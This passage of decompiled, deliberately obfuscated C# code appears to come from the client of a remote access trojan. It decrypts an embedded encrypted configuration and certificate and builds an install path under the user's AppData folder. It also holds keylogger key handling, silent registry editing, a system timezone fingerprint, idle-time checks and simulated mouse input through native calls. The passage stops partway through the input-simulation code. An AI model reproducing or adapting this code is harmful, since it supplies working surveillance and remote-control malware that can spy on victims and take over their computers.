CegbhKpurgOVyX6P4h28cgHwzUKccityn+LMrWmZuVvXJfrkk=";

	public static string 㞪둭즵辯嚙띗擛밟䙯磞ᶾ濞効�\ueed3\ua8dc\ue665㘛⣬⾨ = "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";

	public static X509Certificate2 搢墝﹇ᒪ瀳䝈뷙싏抛\u06dd椦뉆礵\ufdddꢊ붜渽⢲\ue1d3䀚;

	public static bool 璆\u07b2濴蟕㹁Ḍꡀᳺ笊㟢㑭笔违\uf8ac\uf107嵈쨐읯⻡킙 = false;

	public static bool \uf6d4哖ᵝ\uef0d᯾☍蚮붷湡貴▿\uf128馳茊䨁먴瘡眷ꤽ걹 = false;

	public static string 㼔�เ쟥눝쫕ꑭ뵤\uef29욿\ued75씪渺�졇㋋㏢íᶏ䟍 = "";

	public static string ޏ㗈\u0a4dꕷ賬↘갠ሩ\u2452ㄹ鴼쉆\uf4e9豨辦钏\u0d49\uf464\u0cbe\u2dc7 = "";

	public static bool \uea90\ue324ᆿ⌞慾\u17ed\u030d얺짌鋺필ꨚ䈕ட牉�硣鎥煵俈 = true;

	public static bool 㿰픺꿐Ź纙ᗙ퓙ꔹ媨ㆀ꼬\u1ff0걭ᘄ銪슄適蓍\ue06e\uf06b()
	{
		//IL_0013: Unknown result type (might be due to invalid IL or missing references)
		//IL_0018: Unknown result type (might be due to invalid IL or missing references)
		//IL_0028: Unknown result type (might be due to invalid IL or missing references)
		//IL_0038: Unknown result type (might be due to invalid IL or missing references)
		//IL_0048: Unknown result type (might be due to invalid IL or missing references)
		//IL_0058: Unknown result type (might be due to invalid IL or missing references)
		//IL_0068: Unknown result type (might be due to invalid IL or missing references)
		//IL_0078: Unknown result type (might be due to invalid IL or missing references)
		//IL_0088: Unknown result type (might be due to invalid IL or missing references)
		//IL_0098: Unknown result type (might be due to invalid IL or missing references)
		if (string.IsNullOrEmpty(퇢䱷試桿⓪ἔ培ማᒋ㮇」辎槣峅鞗⡌죤\ue505༎\uf21b))
		{
			return false;
		}
		Aes256 val = new Aes256(ࢀ됸鯴춬ô땥\ueebb衞ⱪ暍銋⋄뺱尭措\ue94d䁝९瘬愃);
		엮ᣞ᧷濑榥ㆂ펮\u1cdf⠣៹렇灤ꊥ起\uabe9溯輚�⭱늟 = val.Decrypt(엮ᣞ᧷濑榥ㆂ펮\u1cdf⠣៹렇灤ꊥ起\uabe9溯輚�⭱늟);
		퇢䱷試桿⓪ἔ培ማᒋ㮇」辎槣峅鞗⡌죤\ue505༎\uf21b = val.Decrypt(퇢䱷試桿⓪ἔ培ማᒋ㮇」辎槣峅鞗⡌죤\ue505༎\uf21b);
		ꩣ嫨겺ﺘ梥깛㶭⹎楜⪎ﳥ畔\uead9\uf3ca㬩\u1fd4⻮睙ﻳ崃 = val.Decrypt(ꩣ嫨겺ﺘ梥깛㶭⹎楜⪎ﳥ畔\uead9\uf3ca㬩\u1fd4⻮睙ﻳ崃);
		\ue37f鞡ᢌ\uf138䮇\ue4f8䑞럭鈢\uf4d6䈐梉꿫겟厜궹�频ぅⱦ = val.Decrypt(\ue37f鞡ᢌ\uf138䮇\ue4f8䑞럭鈢\uf4d6䈐梉꿫겟厜궹�频ぅⱦ);
		ᰙ穡룺ײַΩ䩈횿횥鬽⭑※ꋣ딃䞌꽪뵓뷦쑋褸据 = val.Decrypt(ᰙ穡룺ײַΩ䩈횿횥鬽⭑※ꋣ딃䞌꽪뵓뷦쑋褸据);
		㈊싚妆�\ua948띛\uf2d7ﹺᡏ某禄偻及贚ʈ菁\ufe6f�⋂\uea1f = val.Decrypt(㈊싚妆�\ua948띛\uf2d7ﹺᡏ某禄偻及贚ʈ菁\ufe6f�⋂\uea1f);
		�봣枦譡ᥛ\u08e1ᣭ䁻ง툼巺斂\ueee6礂뭆୮胙ᡀ\u0a48ᆵ = val.Decrypt(�봣枦譡ᥛ\u08e1ᣭ䁻ง툼巺斂\ueee6礂뭆୮胙ᡀ\u0a48ᆵ);
		頒왌弼\ue8e0⪿ퟒ䫊ᒘ璑\u0efe㝬敜緼ギ肀硃棯�ཛ谀 = val.Decrypt(頒왌弼\ue8e0⪿ퟒ䫊ᒘ璑\u0efe㝬敜緼ギ肀硃棯�ཛ谀);
		䢫❜\u0fe1�蕓웼Ე䓸蔀홟ᜊ鲻캆絛\uee52\ue0e7鿤㶏됥� = val.Decrypt(䢫❜\u0fe1�蕓웼Ე䓸蔀홟ᜊ鲻캆絛\uee52\ue0e7鿤㶏됥�);
		搢墝﹇ᒪ瀳䝈뷙싏抛\u06dd椦뉆礵\ufdddꢊ붜渽⢲\ue1d3䀚 = new X509Certificate2(Convert.FromBase64String(val.Decrypt(㞪둭즵辯嚙띗擛밟䙯磞ᶾ濞効�\ueed3\ua8dc\ue665㘛⣬⾨)));
		\ue2ee᪭⻣玈貌Ꙑ젂뽲\u0f8f谆究禎䧍찟ᐞ⤷癏Ҟ球䌀();
		return 䪿鶏謑瀢\ue476穝쳮뛰꩘샫\ue717\u0acb䀬葢縜䊧⁒퇉㛕ᆐ();
	}

	private static void \ue2ee᪭⻣玈貌Ꙑ젂뽲\u0f8f谆究禎䧍찟ᐞ⤷癏Ҟ球䌀()
	{
		ޏ㗈\u0a4dꕷ賬↘갠ሩ\u2452ㄹ鴼쉆\uf4e9豨辦钏\u0d49\uf464\u0cbe\u2dc7 = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), 頒왌弼\ue8e0⪿ퟒ䫊ᒘ璑\u0efe㝬敜緼ギ肀硃棯�ཛ谀);
		㼔�เ쟥눝쫕ꑭ뵤\uef29욿\ued75씪渺�졇㋋㏢íᶏ䟍 = Path.Combine(䩺ǖ髜춉\uf37f饂楜蟏\uf475碍왧鎁\ue5ac\ue8fb榊뀿芽뻵蓯ᾫ, ((!string.IsNullOrEmpty(\ue37f鞡ᢌ\uf138䮇\ue4f8䑞럭鈢\uf4d6䈐梉꿫겟厜궹�频ぅⱦ)) ? (\ue37f鞡ᢌ\uf138䮇\ue4f8䑞럭鈢\uf4d6䈐梉꿫겟厜궹�频ぅⱦ + "\\") : "") + ᰙ穡룺ײַΩ䩈횿횥鬽⭑※ꋣ딃䞌꽪뵓뷦쑋褸据);
	}

	private static bool 䪿鶏謑瀢\ue476穝쳮뛰꩘샫\ue717\u0acb䀬葢縜䊧⁒퇉㛕ᆐ()
	{
		try
		{
			return ((RSACryptoServiceProvider)搢墝﹇ᒪ瀳䝈뷙싏抛\u06dd椦뉆礵\ufdddꢊ붜渽⢲\ue1d3䀚.PublicKey.Key).VerifyHash(Sha256.ComputeHash(Encoding.UTF8.GetBytes(ࢀ됸鯴춬ô땥\ueebb衞ⱪ暍銋⋄뺱尭措\ue94d䁝९瘬愃)), CryptoConfig.MapNameToOID("SHA256"), Convert.FromBase64String(䢫❜\u0fe1�蕓웼Ე䓸蔀홟ᜊ鲻캆絛\uee52\ue0e7鿤㶏됥�));
		}
		catch (Exception)
		{
			return false;
		}
	}
}
public static class ザ禕\uee69\ue5b7䬅䄶喳ꔰᙻ\ue104쌻嫧젖ꕯ㗯\uf8a7㱣軝Ꮙ頨
{
	public static bool ContainsModifierKeys(this List<Keys> pressedKeys)
	{
		return pressedKeys.Any((Keys x) => x.IsModifierKey());
	}

	public static bool IsModifierKey(this Keys key)
	{
		//IL_0000: Unknown result type (might be due to invalid IL or missing references)
		//IL_0006: Invalid comparison between Unknown and I4
		//IL_0008: Unknown result type (might be due to invalid IL or missing references)
		//IL_000e: Invalid comparison between Unknown and I4
		//IL_0010: Unknown result type (might be due to invalid IL or missing references)
		//IL_0016: Invalid comparison between Unknown and I4
		//IL_0018: Unknown result type (might be due to invalid IL or missing references)
		//IL_001e: Invalid comparison between Unknown and I4
		//IL_0020: Unknown result type (might be due to invalid IL or missing references)
		//IL_0023: Invalid comparison between Unknown and I4
		//IL_0025: Unknown result type (might be due to invalid IL or missing references)
		//IL_0028: Invalid comparison between Unknown and I4
		//IL_002a: Unknown result type (might be due to invalid IL or missing references)
		//IL_0030: Invalid comparison between Unknown and I4
		//IL_0032: Unknown result type (might be due to invalid IL or missing references)
		//IL_0038: Invalid comparison between Unknown and I4
		if ((int)key != 162 && (int)key != 163 && (int)key != 164 && (int)key != 165 && (int)key != 91 && (int)key != 92 && (int)key != 131072)
		{
			return (int)key == 262144;
		}
		return true;
	}

	public static bool ContainsKeyChar(this List<Keys> pressedKeys, char c)
	{
		return pressedKeys.Contains((Keys)char.ToUpper(c));
	}

	public static bool IsExcludedKey(this Keys k)
	{
		//IL_0000: Unknown result type (might be due to invalid IL or missing references)
		//IL_0003: Invalid comparison between Unknown and I4
		//IL_000a: Unknown result type (might be due to invalid IL or missing references)
		//IL_000d: Invalid comparison between Unknown and I4
		//IL_0005: Unknown result type (might be due to invalid IL or missing references)
		//IL_0008: Invalid comparison between Unknown and I4
		//IL_0014: Unknown result type (might be due to invalid IL or missing references)
		//IL_0017: Invalid comparison between Unknown and I4
		//IL_000f: Unknown result type (might be due to invalid IL or missing references)
		//IL_0012: Invalid comparison between Unknown and I4
		//IL_001e: Unknown result type (might be due to invalid IL or missing references)
		//IL_0024: Invalid comparison between Unknown and I4
		//IL_0019: Unknown result type (might be due to invalid IL or missing references)
		//IL_001c: Invalid comparison between Unknown and I4
		//IL_002e: Unknown result type (might be due to invalid IL or missing references)
		//IL_0034: Invalid comparison between Unknown and I4
		//IL_0026: Unknown result type (might be due to invalid IL or missing references)
		//IL_002c: Invalid comparison between Unknown and I4
		//IL_003e: Unknown result type (might be due to invalid IL or missing references)
		//IL_0041: Invalid comparison between Unknown and I4
		//IL_0036: Unknown result type (might be due to invalid IL or missing references)
		//IL_003c: Invalid comparison between Unknown and I4
		//IL_0043: Unknown result type (might be due to invalid IL or missing references)
		//IL_0046: Invalid comparison between Unknown and I4
		if (((int)k < 65 || (int)k > 90) && ((int)k < 96 || (int)k > 111) && ((int)k < 48 || (int)k > 57) && ((int)k < 186 || (int)k > 254) && ((int)k < 160 || (int)k > 161) && (int)k != 20)
		{
			return (int)k == 32;
		}
		return true;
	}

	public unsafe static string GetDisplayName(this Keys key)
	{
		string text = ((object)(*(Keys*)(&key))/*cast due to constrained. prefix*/).ToString();
		if (text.Contains("ControlKey"))
		{
			return "Control";
		}
		if (text.Contains("Menu"))
		{
			return "Alt";
		}
		if (text.Contains("Win"))
		{
			return "Win";
		}
		if (!text.Contains("Shift"))
		{
			return text;
		}
		return "Shift";
	}
}
public static class 夶偘ꆘ쌽妨议붫鴮䭺�朋\uf23b湠䐬\ue531뚘\ufe1b嘘໘ᨕ
{
	public static string GetMainModuleFileName(this Process proc)
	{
		uint lpdwSize = 260u;
		StringBuilder stringBuilder = new StringBuilder((int)lpdwSize);
		if (瞸\ue705簍灯斡㫚뢷倛灛斔㌦鲴䝜\u1063ꩊ韏퍂눬椖暰.徽榗尐\u0326\u0fac擑螅시哕䫑ⵔ\ueaf9킐銒⛁�\uf4b9씎䆈䙉(proc.Handle, 0u, stringBuilder, ref lpdwSize))
		{
			return stringBuilder.ToString();
		}
		return null;
	}
}
public static class \u0bdf啵韟⽹ਝ윣푳ᥬꋧ噤\ue789\ue0ddዮ⋫䩞捝尮쥨殉辔
{
	private static bool IsNameOrValueNull(this string keyName, RegistryKey key)
	{
		if (!string.IsNullOrEmpty(keyName))
		{
			return key == null;
		}
		return true;
	}

	public static string GetValueSafe(this RegistryKey key, string keyName, string defaultValue = "")
	{
		try
		{
			return key.GetValue(keyName, defaultValue).ToString();
		}
		catch
		{
			return defaultValue;
		}
	}

	public static RegistryKey OpenReadonlySubKeySafe(this RegistryKey key, string name)
	{
		try
		{
			return key.OpenSubKey(name, writable: false);
		}
		catch
		{
			return null;
		}
	}

	public static RegistryKey OpenWritableSubKeySafe(this RegistryKey key, string name)
	{
		try
		{
			return key.OpenSubKey(name, writable: true);
		}
		catch
		{
			return null;
		}
	}

	public static RegistryKey CreateSubKeySafe(this RegistryKey key, string name)
	{
		try
		{
			return key.CreateSubKey(name);
		}
		catch
		{
			return null;
		}
	}

	public static bool DeleteSubKeyTreeSafe(this RegistryKey key, string name)
	{
		try
		{
			key.DeleteSubKeyTree(name, throwOnMissingSubKey: true);
			return true;
		}
		catch
		{
			return false;
		}
	}

	public static bool RenameSubKeySafe(this RegistryKey key, string oldName, string newName)
	{
		try
		{
			key.CopyKey(oldName, newName);
			key.DeleteSubKeyTree(oldName);
			return true;
		}
		catch
		{
			key.DeleteSubKeyTreeSafe(newName);
			return false;
		}
	}

	public static void CopyKey(this RegistryKey key, string oldName, string newName)
	{
		using RegistryKey destKey = key.CreateSubKey(newName);
		using RegistryKey sourceKey = key.OpenSubKey(oldName, writable: true);
		⒕쳀\ue7fe揭蔒ᛏᱼ싎㜙\ued95뾚깳鮊䷫ᄴ┨暰휍㏘꼯(sourceKey, destKey);
	}

	private static void ⒕쳀\ue7fe揭蔒ᛏᱼ싎㜙\ued95뾚깳鮊䷫ᄴ┨暰휍㏘꼯(RegistryKey sourceKey, RegistryKey destKey)
	{
		string[] valueNames = sourceKey.GetValueNames();
		foreach (string name in valueNames)
		{
			object value = sourceKey.GetValue(name);
			RegistryValueKind valueKind = sourceKey.GetValueKind(name);
			destKey.SetValue(name, value, valueKind);
		}
		valueNames = sourceKey.GetSubKeyNames();
		foreach (string text in valueNames)
		{
			using RegistryKey sourceKey2 = sourceKey.OpenSubKey(text);
			using RegistryKey destKey2 = destKey.CreateSubKey(text);
			⒕쳀\ue7fe揭蔒ᛏᱼ싎㜙\ued95뾚깳鮊䷫ᄴ┨暰휍㏘꼯(sourceKey2, destKey2);
		}
	}

	public static bool SetValueSafe(this RegistryKey key, string name, object data, RegistryValueKind kind)
	{
		try
		{
			if (kind != RegistryValueKind.Binary && data.GetType() == typeof(byte[]))
			{
				switch (kind)
				{
				case RegistryValueKind.String:
				case RegistryValueKind.ExpandString:
					data = ByteConverter.ToString((byte[])data);
					break;
				case RegistryValueKind.DWord:
					data = ByteConverter.ToUInt32((byte[])data);
					break;
				case RegistryValueKind.MultiString:
					data = ByteConverter.ToStringArray((byte[])data);
					break;
				case RegistryValueKind.QWord:
					data = ByteConverter.ToUInt64((byte[])data);
					break;
				}
			}
			key.SetValue(name, data, kind);
			return true;
		}
		catch
		{
			return false;
		}
	}

	public static bool DeleteValueSafe(this RegistryKey key, string name)
	{
		try
		{
			key.DeleteValue(name);
			return true;
		}
		catch
		{
			return false;
		}
	}

	public static bool RenameValueSafe(this RegistryKey key, string oldName, string newName)
	{
		try
		{
			key.CopyValue(oldName, newName);
			key.DeleteValue(oldName);
			return true;
		}
		catch
		{
			key.DeleteValueSafe(newName);
			return false;
		}
	}

	public static void CopyValue(this RegistryKey key, string oldName, string newName)
	{
		RegistryValueKind valueKind = key.GetValueKind(oldName);
		object value = key.GetValue(oldName);
		key.SetValue(newName, value, valueKind);
	}

	public static bool ContainsSubKey(this RegistryKey key, string name)
	{
		string[] subKeyNames = key.GetSubKeyNames();
		for (int i = 0; i < subKeyNames.Length; i++)
		{
			if (subKeyNames[i] == name)
			{
				return true;
			}
		}
		return false;
	}

	public static bool ContainsValue(this RegistryKey key, string name)
	{
		string[] valueNames = key.GetValueNames();
		for (int i = 0; i < valueNames.Length; i++)
		{
			if (valueNames[i] == name)
			{
				return true;
			}
		}
		return false;
	}

	public static IEnumerable<Tuple<string, string>> GetKeyValues(this RegistryKey key)
	{
		if (key == null)
		{
			yield break;
		}
		foreach (string item in from k in key.GetValueNames()
			where !k.IsNameOrValueNull(key)
			where !string.IsNullOrEmpty(k)
			select k)
		{
			yield return new Tuple<string, string>(item, key.GetValueSafe(item));
		}
	}

	public static object GetDefault(this RegistryValueKind valueKind)
	{
		switch (valueKind)
		{
		case RegistryValueKind.String:
		case RegistryValueKind.ExpandString:
			return "";
		case RegistryValueKind.Binary:
			return new byte[0];
		case RegistryValueKind.DWord:
			return 0;
		case RegistryValueKind.MultiString:
			return new string[0];
		case RegistryValueKind.QWord:
			return 0L;
		default:
			return null;
		}
	}
}
public static class ⟿旧⟧䏥窿�О창嚵聘뺏ቆ௵⻲屢⢓�ꯌ觇볠
{
	public static string 寕帼턙颼冀\ue680䒠䟠Ꝏꡣ媓챚口✙\u0ff7鸏⬔\ue391婖뉭()
	{
		TimeZoneInfo local = TimeZoneInfo.Local;
		TimeSpan utcOffset = local.GetUtcOffset(DateTime.Now);
		string text = ((utcOffset >= TimeSpan.Zero) ? "+" : "");
		return string.Format("{0} (UTC {1}{2}{3})", new object[4]
		{
			(!local.SupportsDaylightSavingTime || !local.IsDaylightSavingTime(DateTime.Now)) ? local.StandardName : local.DaylightName,
			text,
			utcOffset.Hours,
			(utcOffset.Minutes != 0) ? $":{Math.Abs(utcOffset.Minutes)}" : ""
		});
	}
}
public static class 䐪琾㤛䂴悼�陜\ueaa8壒遪剳㉰皘\u20cb\u1a7dᔓ퀎ខ\u09e3ٶ
{
	public static string 鳪艆㊌\u2d9fӦ뽰䕔瘺菜ᡘ镁趩�睸\u2df5ⰱ췯䮦㍯쯦<T>(T o)
	{
		//IL_0010: Unknown result type (might be due to invalid IL or missing references)
		using MemoryStream memoryStream = new MemoryStream();
		((XmlObjectSerializer)new DataContractJsonSerializer(typeof(T))).WriteObject((Stream)memoryStream, (object)o);
		return Encoding.UTF8.GetString(memoryStream.ToArray());
	}

	public static T ↝㤙鈌谸楸퀡豖嶜\uf145厴볱潿锐\u034f䟳ⵓ嘛꧸击紮<T>(string json)
	{
		//IL_001b: Unknown result type (might be due to invalid IL or missing references)
		using MemoryStream memoryStream = new MemoryStream(Encoding.UTF8.GetBytes(json));
		return (T)((XmlObjectSerializer)new DataContractJsonSerializer(typeof(T))).ReadObject((Stream)memoryStream);
	}

	public static T 膷�욇觜뙢㵓䶫诒逽烒ᙙ琰㺺\uea35윲藾ਥ㷈糀Ꭓ<T>(Stream stream)
	{
		//IL_000a: Unknown result type (might be due to invalid IL or missing references)
		return (T)((XmlObjectSerializer)new DataContractJsonSerializer(typeof(T))).ReadObject(stream);
	}
}
public static class 뤪짒\u1dd4쏅猌\ue445뻪坐휈縖啼\u064fቓ쪌㛌Ց伋蹁楼ᶆ
{
	private const int 뀗텄誂뉘\u2073༬査砍壨⊑뙾⏀\ue617琤⡒걯\u0ffb䷪䡇� = 0;

	private const int 풽盆\u0596튽䚖鵁줝\uf8b1ꯉ會饆\uf127\ue253慉ꥁ䶐셼\u0fbb朦䫓 = 1;

	private const uint 僭鉯ॾ\ued02號ゾꝦ玶㼐�䚏ㄡ⳼ꈌ\ue730\u0acf䄱妢⯮瀲 = 2u;

	private const uint 뉐鵶㶥\u0ebb轅�㱸\uee10묢\ue415⼍ㅜ턠\uea7c뾶ཎ猝紶碳ﰈ = 4u;

	private const uint \uecab㛘Դʹ䑏뽎ꨅ♄\u175cꦨ좛敯ꖴ�鋱㷯㟔\u0e6a\uf008帿 = 8u;

	private const uint Ӎゲ㧳꼇鳠ꚨ\uf351虁\ue889豶쎌预ꦈ쀺禵㛁\ue62bを둲尌 = 16u;

	private const uint ☪뀈렛ߠ뤶써犸錨♿⬤꣼\ua7df\ue054业阒䮆䓉\u09d5諒튐 = 2048u;

	private const uint 㶚阳䤗媋౮긡骺㝳Ꮉ\uf6f5쁒ⓤ\u0ef7\u0a65柦렼ᶹ봋�㇤ = 0u;

	private const uint 鮴礆꾀蟭욋\uf437ꘛ⏨珲\u103b⋔뿏验\ue2a7ᾍ蠐쪻欃≀ࡕ = 2u;

	private const int \ue72d긪轓턼첱鏿螐ꔏ㙠\ue6c9桻䢟࠾ꋬ鼫翯ꦛﵕ芏㛞 = 114;

	private const uint \uf6b9堉魾\ued5e揬\uece6ภ字Ꙩv죕䩥�욧Ṧ\ue868坱쮸孲ﮌ = 128u;

	private const uint 嚇㜗羂솄\u0eee\ue15c롿皲꺮\ue0c0䃿ӡស嗂顠瞬ᮑ냸ꍜℭ = 1u;

	private const int \uf714㫵㺜㨦れ삵Ɪ꼖랎뛗퐣ລ随뀠膛廉槓䬯呛着 = 16;

	private const uint 컦\ue5ef⬹횉麶쌥நㇲ빀폚ⴙ頻쫩ꣶ屁쑉ር\ue423峗☛ = 17u;

	private const uint \ue6c1⨧䭮\uf0d5僽껜\ue9f5涌Ḹﰯ㍯\ue821粿葔\u1a8d�寳로틏誑 = 2u;

	public static uint \u0a01췮뙦ƴ\uebfe\u20c6팉⩀뷡嚴䞴商�ꑥ\ue629蝭祗癈黴섑()
	{
		瞸\ue705簍灯斡㫚뢷倛灛斔㌦鲴䝜\u1063ꩊ韏퍂눬椖暰.LASTINPUTINFO plii = default(瞸\ue705簍灯斡㫚뢷倛灛斔㌦鲴䝜\u1063ꩊ韏퍂눬椖暰.LASTINPUTINFO);
		plii.cbSize = (uint)Marshal.SizeOf(plii);
		plii.dwTime = 0u;
		瞸\ue705簍灯斡㫚뢷倛灛斔㌦鲴䝜\u1063ꩊ韏퍂눬椖暰.閙⥲\uf5b4㬞䃪큰䛳ᮒ\ue777⺀\u0a65\uea4f饂徥흒匨삝杶ᡢ\uee56(ref plii);
		return plii.dwTime;
	}

	public static void ﾪ칗賄鏬逤鑂⛢\ue4c0見粺翀찔\ue328긔仠훘酄�讅薵(Point p, bool isMouseDown)
	{
		瞸\ue705簍灯斡㫚뢷倛灛斔㌦鲴䝜\u1063ꩊ韏퍂눬椖暰.INPUT[] array = new 瞸\ue705簍灯斡㫚뢷倛灛斔㌦鲴䝜\u1063ꩊ韏퍂눬椖暰.INPUT[1]
		{
			new 瞸\ue705簍灯斡㫚뢷倛灛斔㌦鲴䝜\u1063ꩊ韏퍂눬椖暰.INPUT
			{
				type = 0u,
